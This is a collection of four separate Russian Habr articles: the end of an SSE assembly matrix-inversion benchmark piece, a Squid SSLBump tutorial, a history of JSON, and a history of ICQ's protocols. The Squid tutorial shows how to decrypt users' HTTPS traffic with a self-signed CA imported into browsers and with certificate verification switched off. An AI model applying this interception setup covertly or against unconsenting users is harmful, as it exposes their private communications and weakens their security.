// STEP #8.y-t D := S.y.t; S.y.t := 0; S.y -= S.tD
movhlps XMM8, XMM3 // XMM8= D=S.y.t | w
movlhps XMM3, XMM10 // S.y.t = 0
movlhps XMM8, XMM8 // XMM8 = D | D
movapd XMM9, XMM6 // XMM9= S.y.x | S.y.y
mulpd XMM9, XMM8 // XMM9= S.y.xD | S.y.yD
subpd XMM2, XMM9 // XMM0= S.x.x+S.y.xD | S.y.yD
movapd XMM9, XMM7 // XMM9= S.y.z | t
mulpd XMM9, XMM8 // XMM9= S.y.zD | t
subpd XMM3, XMM9 // XMM0= S.x.z+S.y.zD | t
// save S.y
movupd oWORD[RCX+ 4*FloatSize], XMM2 // S.y.x | S.y.y
movupd oWORD[RCX+ 6*FloatSize], XMM3 // S.y.z |
// STEP #8.x-t D := S.x.t; S.x.t := 0; S.x -= S.tD
movhlps XMM8, XMM1 // XMM8= D=S.x.t | w
movlhps XMM1, XMM10 // S.x.t := 0
movlhps XMM8, XMM8 // XMM8 = D | D
movapd XMM9, XMM6 // XMM9= S.t.x | S.t.y
mulpd XMM9, XMM8 // XMM9= S.t.xD | S.t.yD
subpd XMM0, XMM9 // XMM0= S.x.x-S.t.xD | S.x.y-S.t.yD
movapd XMM9, XMM7 // XMM9= S.t.z | S.t.t
mulpd XMM9, XMM8 // XMM9= S.t.zD | S.t.tD
subpd XMM1, XMM9 // XMM0= S.x.z-S.t.zD | S.x.t-S.t.tD
movupd oWORD[RCX ], XMM0 // S.x.x | S.x.y
movupd oWORD[RCX+ 2*FloatSize], XMM1 // S.x.z |
{$ELSE}
begin
Invert_m4( S );
{$ENDIF}
end;
```
Здесь по коду раскиданы инструкции вида
prefetch [RCX + 4*FloatSize]*
данная команда предлагает процессору сделать упреждающую выборку данных из памяти, выполняется параллельно с последующим потоком команд, и при возможности- загружает в кэш процессора данные, которые понадобятся чуть позже, в результате доступ к ним будет происходить чуточку быстрее, но максимум, что я заметил с этих префетчей- это 1-2% ускорения. Еще здесь много операций, которые можно было бы заменить на FMA, которая есть в Ryzen и новых интелях, но после проведения ряда тестов желание использовать FMA у меня пропало.
#### Тесты
На момент написания у меня в наличии уже Xeon-2678v3 c DDR3-1866-4x (без анлока турбобуста- почему- в самом конце) и Ryzen 3900x c DDR4-3200-2x. Тесты будем проводить на Xeon-е, а часть интересных особенностей сравним с Ryzen-ом. Скорость обработки данных определим как объем данных, который мы можем считать и обсчитать за 1 секунду (без учета того, сколько при этом будет записано результатов в память). Все тесты запускались по 5 раз и выбиралось наилучшее значение. Во всех случаях использовались массивы по 1 048 576 элементов.
Сумма скалярных произведений элементов двух массивов случайных векторов:
```
Dot product: compiler : 5240,8 MB/s
Dot product: SSE : 7717,2 MB/s
Dot product: SSE, arr : 9704,8 MB/s
```
Рост производительности просто от использования SSE небольшой, потому что много времени занимает вызов функции SSE-умножения, так как Embarcadero не умеет инлайн ассемблерных функций. “Dot product: SSE, arr”- это то же самое умножение у которого цикл тоже реализован на ассемблере внутри SSE-блока, как видим, избавившись от вызовов процедуры мы сократили время расчетов на четверть! Нужно учесть, что умножаются два массива векторов, а результат сохраняется в массив вещественных чисел. В данном бенчмарке мы считываем два раза по 4.8 GB/s данных, и потом еще 1200 MB/s записываем, в сумме прокачивая через канал памяти ~11 GB/s с одного ядра.
Умножение вектора на матрицу с суммированием результатов:
```
V3 += V3M33 compiler : 3599,5 MB/s
V3 += V3M33 SSE : 6810,8 MB/s
V3 += M33V3 compiler : 4304,6 MB/s
V3 += M33V3 SSE : 8644,2 MB/s
```
в данном случае разница связана с тем, что M33\*V3 требует умножения элементов строки матрицы на вектор, а V3\*33- умножает вектор на элементы столбца матрицы, что требует некоторой реорганизации данных, и снижает итоговую производительность.
```
M3х3: Invert compiler : 3384,8 MB/s
M3х3: T_SSE.Invert_gauss : 3386,8 MB/s
M3х3: T_SSE.Invert : 4990,0 MB/s
```
Как видим, в моей реализации метод Гаусса на SSE также хорош (или так же плох), как и прямой расчет от компилятора, но вот прямой расчет на SSE- почти в полтора раза быстрее.
```
M4х4: Invert compiler : 333,2 MB/s
M4х4: Invert_SSE_gauss : 2958,2 MB/s
```
А вот здесь уже разница стала подавляющей- ускорение почти в 9 раз! Так как исходная программа довольно много аппроксимировала значения МНК- то для нее расчет обратной матрицы 4х4 был самой тормозной операцией, которая занимала почти 60% времени. после оптимизации она стала занимать порядка 10%, а общая скорость счета выросла примерно в 3 раза.
С матрицам интересно еще вот что: зависимость количества операций, необходимых для инверсии матрицы, от ее размера имеет характер O(n5), то есть, при переходе с М3x3 на M4x4- объем вычислений возрастает в ~4,2 раза, объем данных при этом возрастает в 1,8 раза, скорость обработки данных должна упасть в 2,3 раза, однако, падает только в 1.7 раза, то есть, меньше, чем следует. А связано это с тем, что данные в регистрах лежат плотнее (у M3x3 строка занимает полтора регистра, а у M4x4- ровно два) , и параллельность их обработки в целом получается выше (мы реже выполняем инструкции типа mulsd, addsd, и больше mulpd, addpd).
Для меня неожиданным оказалось то, что при реализации инвертирования матриц пришлось совершенно по другому организовать вычисления- способом, о котором мне не рассказывали в университете на лекциях по линейной алгебре и выч-мату, и который сильно отличается от “компилируемого”- но возник он только после того, как я уперся в ограничение на объем памяти в 256 байт (!) сидя на машине с 10-ю ядрами, 20-ю потоками и 32-мя гигами оперативы.
Стоит ли останавливаться на достигнутом? Сейчас да. Самая низкая скорость обработки данных, полученная нами- это ~3ГБ/с на обращении матриц 4х4. 10 ядерный Xeon 2660v2 на этой задаче может прожевать 25GB/s, что дает суммарный прокачиваемый через шину памяти поток данных в 50GB/s, в то время, как четырех-канальный контроллер памяти DDR3-1866 позволяет примерно столько-же- ~59GB/s в теории, 45-50 в реале. То есть, даже на самых тяжелых расчетах мы упираемся не в ЦП, а в память. Переход на более быструю память DDR4 приведет и к смене процессора на более быстрый и с большим количеством ядер, и как показала практика- Ryzen 3900X на DDR4-3200 и Xeon 2678v3 - оба все равно продолжают обрабатывать данные быстрее, чем их успевает подавать ОЗУ. 1 поток на Ryzen 3900x инвертирует ~5GB/s матриц 4х4, но процессор имеет лишь двухканальную память DDR4-3200, что позволяет ему ворочать те же самые 50GB/s, то есть, на таких расчетах его можно загрузить почти под завязку- но именно что почти- даже с DDR4-3600 в тестах скорость копирования данных в ОЗУ составляет ~56GB/s- то есть, как минимум одно ядро из 12 будет простаивать, вот и получается, что для нашей векторной алгебры, нужной для метода конечных элементов и аппроксимации частных производных методом наименьших квадратов- дальнейшие оптимизации или переход на AVX не приведут к повышению быстродействия. И даже переход на 4-х канальную DDR4-2400 не меняет ситуацию. А если нет разницы- зачем платить больше? Отсюда же понятно, что турбобуст мне без надобности.
Статья немножко опухла, и в нее не влезли векторные произведения векторов, быстрое решение СЛАУ 3х3 и 4х4, умножения разреженных матриц и еще под сотню велосипедных запчастей, но базовые примеры и самое страшное- инвертирование матриц- я описал. | https://habr.com/ru/post/545518/ | null | ru | null |
# Squid3 в режиме SSLBump с динамической генерацией сертификатов
Приветствую.
Шифрованный веб-трафик вещь хорошая, но порой совершенно не ясно что пользователь там, внутри, делает. При заходе на любой https ресурс через squid, в логи записывается достаточно строк подобного вида:
1330231066.104 10 172.26.27.8 TCP\_MISS/200 390 CONNECT mail.google.com:443 — HIER\_DIRECT/173.194.32.54 —
1330241192.883 9 172.26.27.97 TCP\_MISS/200 390 CONNECT mc.yandex.ru:443 — HIER\_DIRECT/213.180.193.119 —
Видно, что в определённое время пользователи зашли на gmail и яндекс. В принципе вот и всё что мы видим из логов. Но не понятно выполнялся ли GET или POST запрос, не видно полных урлов, ни размеров файлов. Так же нет возможности проверить ssl трафик антивирусной программой либо какими content inspection программами.
В этой статье я хочу описать возможность squid'а «разламывать» ssl соединение и иметь хоть какой-то обзор происходящего в https трафике.
Так как на CentOS стоит «усиленный» openssl, то сборка squid'а c необходимыми нам ключам не получается.
Есть два варианта решения данной проблемы.
Первый — это лезть в инклюд файлы установленного openssl, потом в исходники сквида и менять некоторые строки. И второй — это собирать сквид с кастомным openssl.
Первый вариант слишком хардкорный и оставим его в стороне.
##### 1. openssl
Итак, для начала нам надо собрать свой openssl. Тут всё довольно просто и никакой магии:
`wget www.openssl.org/source/openssl-1.0.0k.tar.gz`
`tar -zxf openssl-1.0.0k.tar.gz`
`cd openssl-1.0.0k`
Что бы не было конфликтов с уже установленной версией openssl, указываем новый путь:
`./config shared --prefix=/opt/squid/openssl --openssldir=/opt/squid/openssl`
`make`
`make install`
Всё, openssl собран и готов к использованию.
##### 2. squid
Сборка прокси сервера аналогична сборке любой программы (configure && make && make install), единственное это указание определённых ключей при компиляции:
`wget www.squid-cache.org/Versions/v3/3.2/squid-3.2.7.tar.gz`
`tar -zxf squid-3.2.7.tar.gz`
`cd squid-3.2.7`
`./configure --prefix=/opt/squid --enable-ssl --enable-ssl-crtd --with-openssl=/opt/squid/openssl`
--enable-ssl — включает поддержку ssl режима
--enable-ssl-crtd — генерацией сертификатов занимается отдельный процесс, а не сам прокси сервер.
--with-openssl — путь куда был установлен кастомный openssl
`make all`
`make install`
Так, squid прокси сервер собран.
##### 3. Генерируем self-signed сертификат
Сертификат будет использоваться прокси сервером для создания динамических сертификатов веб сайтов.
`cd /opt/squid/etc/`
`openssl req -new -newkey rsa:1024 -days 365 -nodes -x509 -keyout squidCA.pem -out squidCA.pem`
Так как файл squidCA.pem содержит приватный ключ, делаем его читаемым только для пользователя root:
`chmod 400 squidCA.pem`
##### 4.Настраиваем squid
Добавим следующие строки в squid.conf файл
```
http_port 3128 ssl-bump generate-host-certificates=on dynamic_cert_mem_cache_size=4MB cert=/opt/squid/etc/squidCA.pem
always_direct allow all
ssl_bump allow all
sslproxy_cert_error allow all
sslproxy_flags DONT_VERIFY_PEER
```
данную настройку нежелательно использовать в продукционной системе, так как доступ разрешён на все https сайты с любыми сертификатами.
Подготавливаем кэширование сертификатов:
`mkdir /opt/squid/var/lib`
`/opt/squid/libexec/ssl_crtd -c -s /opt/squid/var/lib/ssl_db`
`chown -R nobody /opt/squid/var/lib/ssl_db`
Если у вас в настройке **cache\_effective\_user** стоит другое UID, то вместо nobody следует использовать его.
*Стоит заметить, что если по какой-то причине вы поменяли ваш сертификат для squid'а, то надо полностью очистить каталог /opt/squid/var/lib/ssl\_db и заново инициализировать сертификатную базу данных.*
Выставляем необходимые права, инициализируем и запускаем прокси сервер:
`chown -R nobody /opt/squid/var/logs`
`/opt/squid/sbin/squid -z`
`/opt/squid/sbin/squid`
проверяем файл /opt/squid/var/logs/cache.log на наличие ошибок, если ошибок нет и имеется строка "`Accepting SSL bumped HTTP Socket connections at local=[::]:3128 remote=[::] FD 21 flags=9`", то прокси сервер в режиме SSLBump запущен.
##### 5. пользовательские проблемы
Так как в данном случае мы используем self-signed сертификат, любые посещения https сайтов через прокси будут показывать пользователям ошибку сертификата. Причина ошибки — Issuer нашего сертификата не находится в списке Trusted CA в браузере.
Что бы ошибок не было, выполняем следующее действие.
`openssl x509 -in squidCA.pem -outform DER -out squid.der`
Теперь полученный файл squid.der надо импортировать в клиентский браузер.
Для Internet Explorer:
Tools->Internet Options->Content->Certificates
Выбираем закладку «Trusted Root Certificate Authorities»
Жмём Import, выбираем файл squid.der и завершаем импорт.
Для Firefox:
Tools->Options->Advanced->Encryption->View Certificates
Выбираем закладку «Authorities»
Жмём Import, выбираем файл squid.der и завершаем импорт.
Ну вот в общем то всё. В зависимости от ваших фантазий, теперь у вас есть возможность в https трафике запретить делать POST запросы, скачивать большие файлы, закрыть доступ к определённым файлам/папкам. Так же можно запретить доступ на сайты, сертификаты которых выданы не доверенными CA. Ну и возможность проверять на вирусы.
Спасибо за внимание, | https://habr.com/ru/post/168515/ | null | ru | null |
# Непрерывный рост JSON
Статья написана в сентябре 2017 года
JSON захватил мир. Если сегодня любые два приложения общаются друг с другом через интернет, то скорее всего делают это с помощью JSON. Стандарт принят всеми крупными игроками: из десяти самых популярных Web API, которые разработаны в основном крупными компаниями, такими как Google, Facebook и Twitter, [только один API](http://www.cs.tufts.edu/comp/150IDS/final_papers/tstras01.1/FinalReport/FinalReport.html#software) передаёт данные в XML, а не JSON. Для примера, Twitter поддерживал XML до 2013 года, когда выпустил новую версию API исключительно на JSON. Среди остальных разработчиков JSON тоже популярен: согласно Stack Overflow, [о JSON задаётся больше вопросов, чем о любом другом формате обмена данными](https://insights.stackoverflow.com/trends?tags=json%2Cxml%2Cprotocol-buffers%2Cyaml%2Ccsv).
XML ещё жив и много где используется. Например, в веб-форматах SVG, RSS и Atom. Если автор Android-приложения хочет объявить, что тому требуется разрешение от пользователя, то делает это в манифесте приложения, написанном на XML. И XML — не единственная альтернатива JSON: некоторые разработчики делают выбор в пользу YAML или Protocol Buffers от Google. Но эти форматы далеко не так популярны, как JSON, который сейчас стал практически стандартом де-факто для обмена данными между программами через интернет.
Доминирование JSON удивительно, ведь ещё в 2005 году все обсуждали потенциал «асинхронного JavaScript и XML», а не «асинхронного JavaScript и JSON». Конечно, есть вероятность, что это ничего не говорит об относительной популярности двух форматов, просто AJAX казался более привлекательной аббревиатурой, чем AJAJ. Но хотя в 2005 году некоторые уже использовали JSON вместо XML (на самом деле мало кто), до сих пор задаёшься вопросом, как XML мог так резко упасть, что спустя десятилетие фраза «асинхронный JavaScript и XML» вызывает ироническую усмешку. Что произошло за это десятилетие? Как JSON заменил XML во многих приложениях? И кто придумал этот формат данных, от которого теперь зависят инженеры и системы во всём мире?
Рождение JSON
=============
Первое сообщение в формате JSON было отправлено в апреле 2001 года с компьютера в гараже неподалёку от Сан-Франциско. История сохранила имена причастных к событию: Дуглас Крокфорд и Чип Морнингстар, соучредители технологической консалтинговой компании State Software.
Эти двое занимались разработкой AJAX-приложений задолго до появления термина AJAX. Но поддержка приложений в браузерах была не очень хорошей. Они хотели передать данные в своё приложение после начальной загрузки страницы, но не нашли способа, который работал бы во всех браузерах.
Сегодня трудно поверить, но Internet Explorer в 2001 году был самым передовым браузером. Ещё с 1999 года Internet Explorer 5 поддерживал раннюю форму XMLHttpRequest через ActiveX. Крокфорд и Морнингстар могли применить эту технологию для получения данных в приложении, но она не работала в Netscape 4. Таким образом, пришлось искать другой формат, который работал в обоих браузерах.
Первое сообщение JSON выглядело так:
```
document.domain = 'fudco';
parent.session.receive(
{ to: "session", do: "test",
text: "Hello world" }
)
```
Только небольшая часть сообщения напоминает JSON, каким мы его знаем сегодня. Само сообщение на самом деле представляет собой HTML-документ с парой строчек JavaScript. Часть, похожая на JSON, — просто литерал JavaScript для функции `receive()`.
Крокфорд и Морнингстар решили злоупотребить фреймом HTML для отправки данных. Для фрейма можно указать URL, который вернёт HTML-документ, подобный приведённому выше. Когда HTML получен, JavaScript запускается и передаёт литерал обратно в приложение. Это работало при условии аккуратного обхода защиты браузера, предотвращающей доступ дочернего окна к родительскому: как видите, Крокфорд и Морнингстар явно установили домен документа. Такая техника иногда называется скрытым фреймом, она часто использовалась в конце 90-х до появления нормального XMLHttpRequest.
В первом сообщении JSON удивительно то, что здесь вообще не очевидно, что это первое использование нового вида формата данных. Тут всего лишь JavaScript! На самом деле идея использования JavaScript таким образом настолько проста, что сам Крокфорд считает, что он не первый это сделал — он утверждает, что кто-то в Netscape использовал литералы массива JavaScript для передачи информации [ещё в 1996 году](https://youtu.be/-C-JoyNuQJs?t=32s). Сообщение на простом JavaScript не требует какого-либо специального парсинга. Всё делает интерпретатор JavaScript.
На самом деле у первого в истории JSON-сообщения возникли проблемы с интерпретатором. JavaScript резервирует огромное количество слов — в ECMAScript 6 зарезервировано 64 слова — и Крокфорд и Морнингстар невольно использовали их в своём сообщении: а именно, зарезервированное слово `do` в качестве ключа. Поскольку в JavaScript так много зарезервированных слов, Крокфорд решил не избегать их, а просто закавычивать все ключи JSON. Закавыченный ключ рассматривается интерпретатором JavaScript как строка, так что можно спокойно использовать зарезервированные слова. Вот почему ключи JSON по сей день закавычены.
Крокфорд и Морнингстар поняли, что новый метод можно использовать во всех видах приложений. Они хотели назвать формат JSML (JavaScript Markup Language), но оказалось, что аббревиатура уже занята чем-то под названием Java Speech Markup Language. Поэтому выбрали Javascript Object Notation, то есть JSON. Они начали предлагать формат своим клиентам, но вскоре выяснилось, что те не рискуют использовать неизвестную технологией без официальной спецификации. Поэтому Крокфорд решил написать её.
В 2002 году Крокфорд купил домен [JSON.org](http://json.org/), опубликовал синтаксис JSON и пример реализации парсера. Веб-сайт до сих пор работает, хотя теперь демонстрирует ссылку на стандарт JSON ECMA, принятый в 2013 году. Кроме запуска сайта, Крокфорд практически ничего не предпринял для продвижения JSON, но вскоре появились реализации парсера JSON на самых разных языках программирования. Изначально JSON был явно связан с JavaScript, но затем стало понятно, что он хорошо подходит для обмена данными между произвольными парами языков.
Неправильный AJAX
=================
JSON получил большой толчок в 2005 году. Тогда дизайнер и разработчик по имени Джесси Джеймс Гарретт в своей [статье](http://adaptivepath.org/ideas/ajax-new-approach-web-applications/) ввёл в обращение термин AJAX. Он старался подчеркнуть, что AJAX — не какая-то одна новая технология, а скорее «несколько по-своему хороших технологий, объединённых мощными новыми способами». Новому подходу к разработке веб-приложений Гарретт дал название AJAX. В блоге он рассказал, как разработчики могут использовать JavaScript и XMLHttpRequest для создания более интерактивных приложений. Он назвал Gmail и Flickr примерами сайтов, опирающихся на методы AJAX.
Конечно, «X» в AJAX означало XML. Но в последующих вопросах и ответах Гарретт назвал JSON вполне приемлемой альтернативой. Он писал, что «XML является наиболее функциональным средством обмена данными для клиента AJAX, но того же эффекта можно достичь с помощью Javascript Object Notation или любого подобного формата структурирования данных».
Разработчики действительно обнаружили, что могут легко использовать JSON для создания приложений AJAX, и многие выбрали его вместо XML. По иронии судьбы, интерес к AJAX привёл к взрыву популярности JSON. Примерно в это время JSON привлёк внимание блогосферы.
В 2006 году Дейв Уайнер, плодовитый блогер и создатель ряда XML-технологий, таких как RSS и XML-RPC, [пожаловался](http://scripting.com/2006/12/20.html), что JSON заново изобретает XML без уважительной причины:
> «Конечно, я могу написать процедуру для парсинга [JSON], но посмотрите, как далеко они зашли в повторном изобретении технологии: по какой-то причине XML недостаточно хорош для них (интересно, почему). Кто создал эту пародию? Давай найдём дерево и повесим парня. Прямо сейчас».
Легко понять разочарование Уайнера. XML никогда особо не любили. Даже сам Уайнер [сказал, что ему не нравится XML](http://blogoscoped.com/archive/2009-03-05-n15.html). Но XML был разработан как универсальная система для любых приложений, какие только можно вообразить. XML на самом деле является метаязыком, который позволяет определять доменные языки для отдельных приложений — например, RSS и SOAP. Уайнер считает, что важно выработать консенсус ради всех преимуществ, которые несёт общий формат обмена. По его мнению, гибкость XML в состоянии удовлетворить любые потребности. И всё же вот JSON — формат, не предлагающий никаких преимуществ по сравнению с XML, за исключением очистки от хлама, который сделал XML настолько гибким.
Крокфорд увидел сообщение в блоге Уайнера и оставил комментарий. В ответ на обвинение в том, что JSON заново изобретает XML, Крокфорд написал: [«Повторное изобретение колеса хорошо тем, что можно сделать его круглым»](https://scripting.wordpress.com/2006/12/20/scripting-news-for-12202006/#comment-26383).
JSON vs XML
===========
К 2014 году JSON официально признали стандартом ECMA и RFC. Он получил свой тип MIME. JSON вышел в высшую лигу.
Почему JSON стал намного популярнее XML?
На [JSON.org](http://json.org/) Крокфорд перечисляет некоторые [преимущества JSON по сравнению с XML](http://www.json.org/xml.html). Он пишет, что JSON легче для понимания и людьми, и машинами, поскольку его синтаксис минимален, а структура предсказуема. Другие блогеры [упоминают](https://blog.codinghorror.com/xml-the-angle-bracket-tax) многословие XML и «налог на теги». Каждому открывающему тегу в XML должен соответствовать закрывающий тег, что означает много избыточной информации. Это делает XML намного больше эквивалентного документа JSON, но ещё важнее, что из-за этого XML-документ труднее читать.
Крокфорд [называл](https://youtu.be/-C-JoyNuQJs?t=33m50sgg) ещё одно большое преимущество JSON: то, что он изначально разработан как формат обмена структурированной информации между программами. Хотя XML использовали для той же цели, но изначально он разработан как язык разметки документа. Он вырос из SGML (Standard Generalized Markup Language), который, в свою очередь, эволюционировал из языка разметки Scribe, предназначенного для разметки текста, как LaTeX. В XML внутри тега может находиться так называемое «смешанное содержимое», то есть текст со встроенными тегами, окружающими слова или фразы. Это напоминает редактора, помечающего рукопись красным или синим маркером, своеобразная метафора для языка разметки. С другой стороны, JSON не поддерживает точный аналог смешанного контента, что означает упрощение структуры. Документ лучше всего представить в виде дерева, но отказавшись от идеи документа, Крокфорд смог ограничить JSON словарями и массивами знакомых элементов, которые все программисты используют в создании своих программ.
Наконец, моя собственная догадка заключается в том, что людям не нравилась запутанность XML, и он действительно был таким из-за своего разнообразия. На первый взгляд трудно различить грань между собственно XML и его субъязыками, такими как RSS, ATOM, SOAP или SVG. Первые строки типичного XML-документа устанавливают версию XML, а затем конкретный подязык, которому должен соответствовать XML-документ. Это уже много вариантов по сравнению с JSON, который настолько прост, что никакая новая версия спецификации JSON никогда не будет написана. Разработчики XML в попытке создать единый формат обмена данными для всего пали жертвой классической ловушки программиста: чрезмерного технического усложнения. XML настолько общий, что его трудно использовать для чего-то простого.
В 2000 году началась кампания по приведению HTML в соответствие со стандартом XML. Опубликовали спецификацию для XML-совместимого HTML, впоследствии известного как XHTML. Некоторые производители браузеров сразу начали поддерживать новый стандарт, но быстро стало очевидно, что широкая публика, работающая с HTML, не желает менять свои привычки. Новый стандарт требовал более строгой проверки XHTML, чем было принято для HTML, но слишком многие сайты зависели от вольных правил HTML. К 2009 году активисты прекратили попытки написать вторую версию XHTML, когда стало ясно, что будущее за стандартом HTML5, который не требовал соответствия XML.
Если бы усилия XHTML увенчались успехом, возможно, XML стал бы общим форматом данных, как надеялись его разработчики. Представьте себе мир, в котором у HTML-документов и ответов API в точности одинаковая структура. В таком мире JSON, возможно, не стал бы таким популярным, как сегодня. Но я считаю провал XHTML своего рода моральным поражением лагеря XML. Если XML не помог HTML, возможно, есть лучшие инструменты и для других приложений. В реальном мире легко понять, почему простой и узкоспециализированный формат JSON получил столь большой успех. | https://habr.com/ru/post/421657/ | null | ru | null |
# ICQ: 20 лет — не предел
Год назад мы [вспоминали](https://habrahabr.ru/company/mailru/blog/271317/), как от релиза к релизу Аська подвергалась пластическим операциям и фейслифтингу. Но сегодня юбилей — ICQ исполняется 20 лет, это не кот чихнул! Вот уже целое поколение выросло вместе с прародительницей мессенджеров. И в честь такого события мы решили посмотреть в ретроспективе, какие технологии применялись в ICQ на протяжении двух десятилетий.
За давностью лет в сети осталось не так много информации о первых годах развития Аськи. Первая версия, выпущенная 15 ноября 1996 года четырьмя израильскими старшеклассниками, была проста, как три рубля. По сути, она могла только обмениваться сообщениями. А подключался клиент к серверу icq.mirabilis.com, к порту UDP 4000.
Через год, к декабрю 1997 года, имелись клиентские приложения для Windows 3.1x, 95, NT и Macintosh. Общее количество пользователей перевалило за 5 млн, ежедневная аудитория достигла 1,3 млн человек, в онлайне одновременно находилось 300 000 пользователей. Сегодня это кажется смешным на фоне соцсетей и мессенджеров в каждом мобильнике. Но, на минуточку — 1997 год, интернет по диалапу, никакого вам широкополосного доступа, из мобильных гаджетов широкой аудитории пока доступны, в основном, пейджеры.
В 1998 году пользовательская база ICQ каждые три недели увеличивалась на 1 млн человек. Практически взрывной рост аудитории заставлял разработчиков быстро развивать клиент и протокол ICQ. В версии ICQ 98 появилась функция микроблогов, в 98SE — повторная отправка недоставленных сообщений.
В середине 1998 года Mirabilis была поглощена корпорацией AOL (America Online) за $407 млн.
Только через 2,5 года после своего появления, Аська версии 99а наконец-то обзавелась минимальным джентльменским набором функций: сохранение истории переписки, поиск пользователей, отправка электронных писем, создание групп в списке контактов и так далее.
Протокол ICQ объединял в себе черты p2p- и клиент-серверной архитектур. Изначально шифрование не использовалось совсем, то есть данные передавались в открытую. Да и вообще первые несколько версий протокола были [дырявыми, как решето](http://insecure.org/sploits/icq.spoof.overflow.seq.html).
К моменту выхода ICQ 99b в ходу была уже пятая версия протокола. Надо пояснить, что самая первая версия не использовалась в публичных релизах, то есть формально Аська вышла в свет со второй версией протокола. В третьей версии появилась проверка контрольной суммы, пример заголовка пакета:
```
2 Bytes - This is the Version of the protocol = 03 00 (Major, Minor)
2 Bytes - This is the Function code. The ones I know are listed below.
2 Bytes - First Sequence Code \ These are usually the same
2 Bytes - Second Sequence Code /
4 Bytes - This is the user ID of the client user
4 Bytes - These four bytes are ICQ's weak attempt at security:
to get these do the following:
check1 = ( data[8] << 24) | ( data[4] << 16 ) | ( data[2] << 8 ) | ( data[6] );
offs1 = Random % length; // offset into packet
offs2 = Random % 256; // offset into magic data
check2 = ( offs1 << 24 ) | !( data[offs1] << 16 ) | ( offs2 << 8) | !( magic[offs2] );
check = check1 ^ check2; // XOR the two checks
```
В четвёртой версии внедрили шифрование данных:
```
2 Bytes - Version Number (not Encrypted) = 04 00 (Major, Minor)
2 Bytes - Random number (Not Encrypted)
***** Everything from this point to the 1/4 mark is encrypted *****
2 Bytes - Always 00 00 un-encrypted
- Since the key is xored to encrypt - whatever numbers are here
are the first 2 bytes of the encryption Key.
2 Bytes - Command Code.
2 Bytes - First Sequence Code
2 Bytes - Second Sequence Code
4 Bytes - User ID Number
4 Bytes - This is a Checksum. It is calculated the same as above
- The packet is encrypted by XORing 1/4 of the packet with a key
- The Key is calculated by multiplying the length * 0x66756B65 and
adding the check value.
1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 4 | 0 | RANDOM |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Everything below this point is encrypted
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ZEROS | COMMAND |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SEQUENCE | SECOND SEQUENCE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| UIN |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| CHECK |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```
При установке соединения с сервером, клиент отправлял ему свой IP, TCP-порт, пользовательский пароль и список контактов. Затем клиент подтверждал онлайн-статус и запрашивал статусы всех пользователей из списка. Весь обмен данными с сервером вёлся через UDP.
Для обмена сообщениями с другими людьми, отправки файлов и тому подобного, устанавливалось TCP-соединение клиент-клиент. IP и порты друг друга клиенты получали от сервера.
Шестая версия протокола, появившаяся в ICQ 2000b, была полностью переработана, шифрование усилили. Благодаря новому протоколу Аська научилась звонить на телефоны, отправлять SMS и пейджинговые сообщения. Также пользователи получили возможность отправлять запросы на добавление в список контактов к другим пользователям.
В 2002 году AOL запатентовала [протокол OSCAR](https://ru.wikipedia.org/wiki/OSCAR). Все пересылаемые через этот протокол пакеты одинаково инкапсулируются в контейнеры FLAP, содержащие информацию о размере пакета, канале и порядковом номере в последовательности пакетов. Сегодня этот протокол уже давно не используется, вместо него применяется WIM.
Следующей вехой стало появление в 2004 году первой мобильной версии ICQ, созданной под [Symbian S60](https://ru.wikipedia.org/wiki/Symbian_S60). Хотя, справедливости ради, ещё с 1998 года существовала бета-версия под Palm OS. Кто из вас помнит — и знает — такие наладонники?
В следующем году со стапелей спустили пятую версию настольного клиента. Теперь пользователи смогли устраивать голосовые чаты, то есть Аська стала ещё более универсальным мессенджером. А в версии 5.1 функция голосовой связи была улучшена с помощью технологии [Global IP Solutions](https://en.wikipedia.org/wiki/Global_IP_Solutions).
В 2007 году выходит ICQ 6, интерфейс которой сделан на «фирменном» AOL'овском XML/CSS-движке [Boxely](http://boxely.blogspot.ru/).
В 2009 году появилась ICQ под Windows Mobile. Ближайший родственник современной мобильной Аськи.
C 2007 по 2010 годы ICQ практически не развивалась, AOL её забросила. В 2010 году Аська была приобретена Mail.Ru Group, и уже в январе 2011 вышла 7-я версия, в которой появилась интеграция с Facebook, Twitter, Gmail, Youtube, Flickr и Почтой Mail.Ru.
Дальше изменения начали сыпаться одно за другим. Начиная с версии 7.7 в аську стало можно входить не по UIN, а по номеру телефона. Прощайте, шестизнаки, за которые когда-то платили хорошие деньги! Также теперь можно было подключиться с одним аккаунтом на мобильном и настольном клиентах. А чуть позже прикрутили функции отправки фото и видео друзьям с телефона и Facebook.
В марте 2012 Аська официально была избавлена от рекламы. Вообще.
В конце 2012 года вышла ICQ 8, в которой появилась возможность звонить на мобильные и городские номера. К слову, среди разработчиков ICQ сегодня имеется собственная команда, работающая над VoIP: благодаря ей удалось не только перейти с GIPS на WebRTC, но и сильно проапгрейдить его, фактически создав новый движок. Также появилась интеграция с российскими соцсетями — ВКонтакте и Одноклассниками. В следующих релизах улучшена функция отправки файлов, появился информер погоды.
С 2014 года начались глобальные изменения в ICQ: вышли совершенно новые приложения под разные платформы, новый протокол, новые возможности и новый пользовательский интерфейс, [открытый исходный код](https://github.com/mailru/icqdesktop). В майской версии в этом году ICQ впервые в мире среди мессенджеров обзавелась сквозным шифрованием голосовых и видеозвонков. За это отвечает протокол [ZRTP](https://ru.wikipedia.org/wiki/ZRTP), он не позволяет расшифровывать данные ни на серверах ICQ, ни на стороне провайдера.
